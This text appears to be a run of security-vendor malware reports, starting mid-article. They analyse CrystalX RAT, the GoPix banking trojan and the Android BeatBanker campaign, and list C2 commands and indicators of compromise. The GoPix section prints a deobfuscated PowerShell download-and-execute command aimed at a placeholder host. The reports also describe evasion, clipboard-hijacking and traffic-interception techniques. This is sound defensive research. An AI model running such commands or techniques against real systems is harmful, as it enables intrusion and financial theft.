• Anti-attach loop: an infinite loop checking the debug flag, debug port, hardware breakpoints, and program execution timings
• Stealth patches: patches for functions such as AmsiScanBuffer, EtwEventWrite, MiniDumpWriteDump

Stealer capabilities

When launched, the malware establishes a connection to its C2 using a hard‑coded URL over the WebSocket protocol. It performs an initial collection of system information, after which all data is sent in JSON format as plain text. Then the malware executes the stealer function, doing so either once or at predefined intervals depending on the build options. The stealer extracts the victim’s credentials for Steam, Discord, and Telegram from the system. It also gathers data from Chromium‑based browsers using the popular ChromeElevator utility. To do this, it decodes and decompresses the utility using base64 and gunzip and saves it to %TEMP%\svc[rndInt].exe, then creates a directory %TEMP%\co[rndInt], where the collected data is stored, and finally runs ChromeElevator with all available options.

The collected data is exfiltrated to the C2. For Yandex and Opera browsers, the stealer has a separate proprietary implementation with base decryption directly on the victim’s system. Notably, the builds created at the time the article was written lack the stealer functionality. OSINT results show that the author intentionally removed it with the aim to update the stealer arsenal before enabling it again.

Keylogger & clipper

Another option of the RAT is the keylogger. All user input is instantly transmitted via WebSocket to the C2, where it is assembled into a coherent text suitable for analysis. Additionally, the malware allows the attacker to read and modify the victim’s clipboard by issuing appropriate commands from the control panel. Moreover, it can inject a malicious clipper into the Chrome or Edge browser. This happens according to the following algorithm:

1. The special malware command clipper:set:[ADDR1,...] with the attackers’ crypto‑wallets addresses passed as arguments launches the clipper injection thread.
2. A %LOCALAPPDATA%\Microsoft\Edge\ExtSvc directory is created (regardless whether Edge or Chrome is the target of the injection), in which a malicious extension is stored, consisting of a manifest and a single JS script named content.js.
3. The content.js script is dynamically generated, containing regular expressions for crypto wallet addresses (such as Bitcoin, Litecoin, Monero, Avalanche, Doge, and others) and substitution values.
4. The generated script is activated via the Chrome DevTools (CDP) protocol using the command Page.addScriptToEvaluateOnNewDocument.

The final script looks as follows:

Remote access

The malware has a large set of commands for remote access to the victim’s system. The attacker can upload arbitrary files, execute any commands using cmd.exe, and also browse the file system, including all available drives. Moreover, the RAT includes its own VNC that allows the attacker to view the victim’s screen and control it remotely. Since both the attacker and the victim use the same session, the panel provides a number of buttons to block user input so that the attacker can perform necessary actions unhindered. The malware can also capture the audio stream from the microphone and the video stream from the camera in the background.

Prank commands

The finishing touch is a separate section of the panel named “Rofl” with commands whose functions consist of various pranks on the victim.

• Setting a background: downloading an image from a specified URL and using it as the desktop background.
• Display orientation: rotating the screen 90°, 180°, or 270°.
• System shutdown: the panel has two different buttons “Voltage Drop” and “BSoD”, but malware analysis shows that both commands perform a regular shutdown using the appropriate utility.
• Remapping mouse buttons: swapping left click with right click and the other way round.
• Peripherals disruption: disconnecting the monitor and blocking the input from the mouse and keyboard.
• Notifications: displaying a window with a custom title and message.
• Cursor shake: a special command starts a loop in which the cursor position changes chaotically at short intervals.
• Disabling components: hiding all file icons on the desktop, disabling the taskbar, task manager, and cmd.exe.

Moreover, the attacker can send a message to the victim, after which a dialog window will open in the system, allowing a bidirectional chat.

Conclusions

The sheer variety of available RATs has perpetuated demand, as actors prioritize flexibility of existing malware and its infrastructure. Thus, CrystalX RAT represents a highly functional MaaS platform that is not limited to espionage capabilities – spyware, keylogging and remote control – but includes unique stealer and prankware features. At the moment, the vector of the initial infection is not precisely known, but it affects dozens of victims. Although to date, we have only seen infection attempts in Russia, the MaaS itself has no regional restrictions meaning it may attack anywhere around the globe. Moreover, our telemetry has recorded new implant versions, which indicates that this malware is still being actively developed and maintained. Combined with the growing PR campaign for CrystalX RAT, it can be concluded that the number of victims can increase significantly in the near future.

Indicators of Compromise

# C2 infrastructure
webcrystal[.]lol
webcrystal[.]sbs
crystalxrat[.]top

# CrystalX RAT implants
47ACCB0ECFE8CCD466752DDE1864F3B0
2DBE6DE177241C144D06355C381B868C
49C74B302BFA32E45B7C1C5780DD0976
88C60DF2A1414CBF24430A74AE9836E0
E540E9797E3B814BFE0A82155DFE135D
1A68AE614FB2D8875CB0573E6A721B46

Introduction

GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.

Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.

GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.

The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.

The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.

The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.

Initial infection

Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.

We have been monitoring this threat since 2023, and it continues to be very active for the time being.

GoPix malware campaign detections (download)

The initial infection vector is shown below:

When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.

However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:

The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.

This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.

Infection chain

First-stage payload

If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.

The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.

However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.

Deobfuscated command line:

WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -

The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.

It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.

Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).

Initial PowerShell script

This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.

The information contained within this JSON is as follows:

• Folder and file names to be created under the %APPDATA% directory
• Obfuscated PowerShell script
• Encrypted PowerShell script ps
• Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
• GoPix configuration file pf

Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.

PSExecutionPolicyPreference=Unrestricted
powershell -File "$scriptPath"
exit

Obfuscated PowerShell script

Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.

Decrypted PowerShell script “ps”

The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.

The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.

Shellcode

This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.

The first time GoPix is dropped into memory through PowerShell, its structure is as follows:

1. Memory dropper shellcode
2. Memory dropper DLL
3. Main payload shellcode
4. Main payload DLL

Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.

GoPix dropper

When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.

After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.

Main GoPix implant

Clipboard stealing functionality

Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.

When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.

Unique man-in-the-middle attack

PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.

In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.

To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.

CRC32	Target
8BD688E8	local
8CA8ACFF	www2.banco********.com.br
AD8F5213	autoatendimento.********.com.br
105A3F17	www2.****.com.br
B477FE70	internetbanking.*******.gov.br
785F39C2	loginx.********.br
C72C8593	internetpf.*****.com.br
75E3C3BA	internet.*****.com.br
FD4E6024	internetbanking.*******.com.br

HTTPS interception

Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.

Conclusion

With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.

This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.

For further information on GoPix and all technical details, please contact crimewareintel@kaspersky.com.

Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.

Indicators of compromise

EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload

Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51

C2
paletolife[.]com

Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/

Para conseguir concretizar seus planos ardilosos, os desenvolvedores de malware para Android precisam enfrentar vários desafios sucessivos: enganar os usuários para invadir o smartphone, burlar os softwares de segurança, convencer as vítimas a conceder várias permissões do sistema, manter a distância de otimizadores de bateria integrados que consomem muitos recursos e, depois de tudo isso, ter a certeza de que o malware realmente gera lucro. Os criadores do BeatBanker, uma campanha de malware baseado em‑Android descoberta recentemente por nossos especialistas, desenvolveram algo novo para cada uma dessas etapas. O ataque é voltado, por enquanto, para usuários brasileiros, mas as ambições dos desenvolvedores quase certamente motivará uma expansão internacional, então, vale a pena permanecer em alerta e estudar os truques do agente da ameaça. É possível encontrar uma análise técnica completa do malware na Securelist.

Como o BeatBanker se infiltra em um smartphone

O malware é distribuído por páginas de phishing especialmente criadas que imitam a Google Play Store. Uma página facilmente confundida com o Marketplace oficial convida os usuários a baixar um aplicativo aparentemente útil. Em uma campanha, o trojan se disfarçou como o aplicativo de serviços do governo brasileiro, o INSS Reembolso. Em outra, ele se apresentava como um aplicativo da Starlink.

A instalação ocorre em várias etapas para evitar a solicitação de muitas permissões ao mesmo tempo e para acalmar ainda mais a vítima. Depois que o primeiro aplicativo é baixado e iniciado, ele exibe uma interface que também se assemelha ao Google Play e simula uma atualização para o aplicativo falso, ao solicitar a permissão do usuário para instalar aplicativos, algo que não parece fora do comum no contexto. Se essa permissão for concedida, o malware baixará módulos maliciosos adicionais no smartphone.

Todos os componentes do trojan são criptografados. Antes de descriptografar e prosseguir para os próximos estágios da infecção, ele verifica se o smartphone é real e se ele está no país de destino. O BeatBanker encerra imediatamente o próprio processo se encontrar discrepâncias ou detectar que está sendo executado em ambientes emulados ou de análise. Isso complica a análise dinâmica do malware. Aliás, o falso downloader de atualizações injeta módulos diretamente na RAM para evitar a criação de arquivos no smartphone que seriam visíveis ao software de segurança.

Todos esses truques não são novidade e são frequentemente usados em malwares complexos para computadores desktop. No entanto, para smartphones, essa sofisticação ainda é uma raridade, e nem todas as ferramentas de segurança conseguirão detectar isso. Usuários de produtos da Kaspersky estão protegidos contra essa ameaça.

Reprodução de áudio como um escudo

Uma vez estabelecido no smartphone, o BeatBanker baixa um módulo para minerar a criptomoeda Monero. Os autores estavam muito preocupados com a possibilidade dos sistemas agressivos de otimização de bateria do smartphone desligarem o minerador, então eles criaram um truque: tocar um som quase inaudível o tempo todo. Os sistemas de controle de consumo de energia normalmente poupam os aplicativos que estão reproduzindo áudio ou vídeo para evitar cortar a música de fundo ou os players de podcast. Dessa forma, o malware pode ser executado continuamente. Além disso, ele exibe uma notificação persistente na barra de status para solicitar ao usuário que mantenha o telefone ligado para uma atualização do sistema.

Controle via Google

Para gerenciar o trojan, os autores utilizam o Firebase Cloud Messaging (FCM) legítimo do Google, um sistema para receber notificações e enviar dados de um smartphone. Esse recurso está disponível para todos os aplicativos e é o método mais popular para enviar e receber dados. Graças ao FCM, os invasores podem monitorar o status do dispositivo e alterar as configurações de acordo com suas necessidades.

Não acontecerá nada durante um tempo, depois que o malware for instalado, os invasores esperam pacientemente. Então, eles acionam o minerador, mas com o cuidado de reduzir a intensidade, se o telefone superaquecer, a bateria começar a descarregar ou o proprietário estiver usando o dispositivo. Tudo isso é feito via FCM.

Roubo e espionagem

Além do minerador de criptomoedas, o BeatBanker instala módulos extras para espionar o usuário e realizar o roubo no momento certo. O módulo de spyware solicita a permissão dos Serviços de Acessibilidade, e se ela for concedida, o monitoramento de tudo o que estiver acontecendo no smartphone começa.

Se o proprietário abrir o aplicativo Binance ou Trust Wallet para enviar USDT, o malware sobrepõe uma tela falsa na parte superior da interface da carteira ao trocar efetivamente o endereço do destinatário pelo seu próprio endereço. Todas as transferências vão para os golpistas.

O trojan possui um sistema de controle remoto avançado e é capaz de executar muitos outros comandos:

• Interceptação de códigos únicos do Google Autenticador
• Gravação de áudio do microfone
• Streaming da tela em tempo real
• Monitoramento da área de transferência e interceptação de pressionamentos de tecla
• Envio de mensagens SMS
• Simulação de toques em áreas específicas da tela e entrada de texto de acordo com um script enviado pelo invasor e muito mais

Tudo isso torna possível roubar a vítima quando ela usa qualquer outro serviço bancário ou de pagamento, não apenas os pagamentos de criptomoedas.

Às vezes, as vítimas são infectadas com um módulo diferente para espionagem e controle remoto por smartphone, o trojan de acesso remoto BTMOB. Seus recursos maliciosos são ainda mais amplos, incluindo:

• Aquisição automática de determinadas permissões no Android 13 a 15
• Rastreamento contínuo de geolocalização
• Acesso às câmeras frontal e traseira
• Obtenção de códigos PIN e senhas para desbloqueio da tela
• Captura da digitação do teclado

Como se proteger contra o BeatBanker

Os criminosos virtuais estão constantemente refinando seus ataques e criando novas soluções como formas de lucrar com as vítimas. Apesar disso, é possível se proteger seguindo algumas precauções simples:

• Baixe aplicativos somente de fontes oficiais, como o Google Play ou a loja de aplicativos pré-instalada pelo fornecedor. Se encontrar um aplicativo ao pesquisar na Internet, não o abra por meio de um link do navegador, em vez disso, acesse o aplicativo Google Play ou outra loja consolidada em seu smartphone e procure por ele lá. Enquanto estiver fazendo isso, verifique o número de downloads, o histórico do aplicativo, as classificações e os comentários. Evite aplicativos novos, aplicativos com classificações baixas e aqueles com um pequeno número de downloads.
• Verifique todas as permissões concedidas. Não conceda permissões sem a certeza do que elas fazem ou por que esse aplicativo específico as requer. Tenha muito cuidado com permissões como Instalar aplicativos desconhecidos, Acessibilidade, Superusuário e Exibir sobre outros aplicativos. Escrevemos sobre isso em detalhes em um artigo separado.
• Equipe seu dispositivo com uma solução antimalware abrangente. Naturalmente, recomendamos o Kaspersky for Android. Os usuários dos produtos Kaspersky estão protegidos contra o BeatBanker, detectado com os veredictos HEUR:Trojan-Dropper.AndroidOS.BeatBanker e HEUR:Trojan-Dropper.AndroidOS.Banker.*.
• Atualize regularmente o sistema operacional e o software de segurança. Para o Kaspersky for Android, atualmente indisponível no Google Play, consulte nossas instruções detalhadas sobre como instalar e atualizar o aplicativo.

Ameaças aos usuários do Android estão aumentando bastante ultimamente. Confira nossas outras postagens sobre os ataques Android mais relevantes e difundidos, além das dicas para manter você e seus entes queridos seguros:

• A tempestade perfeita de ameaças no Android
• Esgotamento cerebral: vulnerabilidades em aplicativos de saúde mental
• Vulnerabilidade Pixnapping: capturas de tela sem restrição no seu telefone Android
• Ataques de retransmissão por NFC
• Uma nova camada de segurança antiphishing no Kaspersky for Android

Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.

This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.

Key findings:

• To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
• It monitors battery temperature and percentage, and checks whether the user is using the device.
• At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
• It deploys a banker in addition to a cryptocurrency miner.
• When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
• New samples now drop BTMOB RAT instead of the banking module.

Initial infection vector

The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.

The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.

Packing

The initial APK file is packed and makes use of a native shared library (ELF) named  libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.

First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.

l.so – the DEX loader

The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:

Initially, the loader makes a request to collect some network information using https://ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.

This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.

Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.

After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.

The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.

Crypto mining

When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.

The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:

• -o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
• -k (keepalive)
• --tls (encrypted connection)
• --no-color (disable colored output)
• --nicehash (NiceHash protocol support)

C2 telemetry

The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:

• isCharging: indicates whether the phone is charging;
• batteryLevel: the exact battery percentage;
• isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
• isUserAway: indicates whether the user is away from the device (screen off and inactive);
• overheat: indicates whether the device is overheating;
• temp: the current battery temperature.

Persistence

The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.

The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.

Banking module

BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.

Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.

Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.

The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.

The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.

Target browsers

BeatBanker’s banking module monitors the following browsers installed on the victim’s device:

• Chrome
• Firefox
• sBrowser
• Brave
• Opera
• DuckDuckGo
• Dolphin Browser
• Edge

Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.

C2 communication

BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.

Command	Description
0	Starts dynamic loading of the DEX class
Update	Simulates software update and locks the screen
msg:	Displays a Toast message with the provided text
goauth<*>	Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codes
kill<*>	Sets the protection bypass flag AccessService.bypass to “True” and sets the initializeService.uninstall flag to “Off”
srec<*>	Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wav
pst<*>	Pastes text from the clipboard (via Accessibility Services)
GRC<*>	Lists all existing audio recording files
gtrc<*>	Sends a specific audio recording file to the C2
lcm<*>	Lists supported front camera resolutions
usdtress<*>	Sets a USDT cryptocurrency address when a transaction is detected
lnk<*>	Opens a link in the browser
EHP<*>	Updates login credentials (host, port, name) and restarts the application
ssms<*>	Sends an SMS message (individually or to all contacts)
CRD<*>	Adds (E>) or removes (D>) packages from the list of blocked/disabled applications
SFD<*>	Deletes files (logs, recordings, tones) or uninstalls itself
adm<>lck<>	Immediately locks the screen using Device Administrator permissions
adm<>wip<>	Performs a complete device data wipe (factory reset)
Aclk<*>	Executes a sequence of automatic taps (auto-clicker) or lists existing macros
KBO<*>lod	Checks the status of the keylogger and virtual keyboard
KBO<*>AKP/AKA	Requests permission to activate a custom virtual keyboard or activates one
KBO<*>ENB:	Enables (1) or disables (0) the keylogger
RPM<*>lod	Checks the status of all critical permissions
RPM<*>ACC	Requests Accessibility Services permission
RPM<*>DOZ	Requests Doze/App Standby permission (battery optimization)
RPM<*>DRW	Requests Draw Over Other Apps permission (overlay)
RPM<*>INST	Requests permission to install apps from unknown sources (Android 8+)
ussd<*>	Executes a USSD code (e.g., *#06# for IMEI)
Blkt<*>	Sets the text for the lock overlay
BLKV<*>	Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screen
SCRD<> / SCRD2<>	Enables/disables real-time screen text submission to the C2 (screen reading)
rdall<*>	Clears or sends all keylogger logs
rdd<*>	Deletes a specific log file
rd<*>	Sends the content of a specific keylogger file
MO<*>	Manages application monitoring (add, remove, list, screenshot, etc.)
FW<*>	Controls VPN and firewall (status, block/allow apps, enable/disable)
noti<*>	Creates persistent and custom notifications
sp<*>	Executes a sequence of swipes/taps (gesture macro)
lodp<*>	Manages saved links in the internal browser (add, edit, delete, list)
scc:	Starts screen capture/streaming

New BeatBanker samples dropping BTMOB

Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.

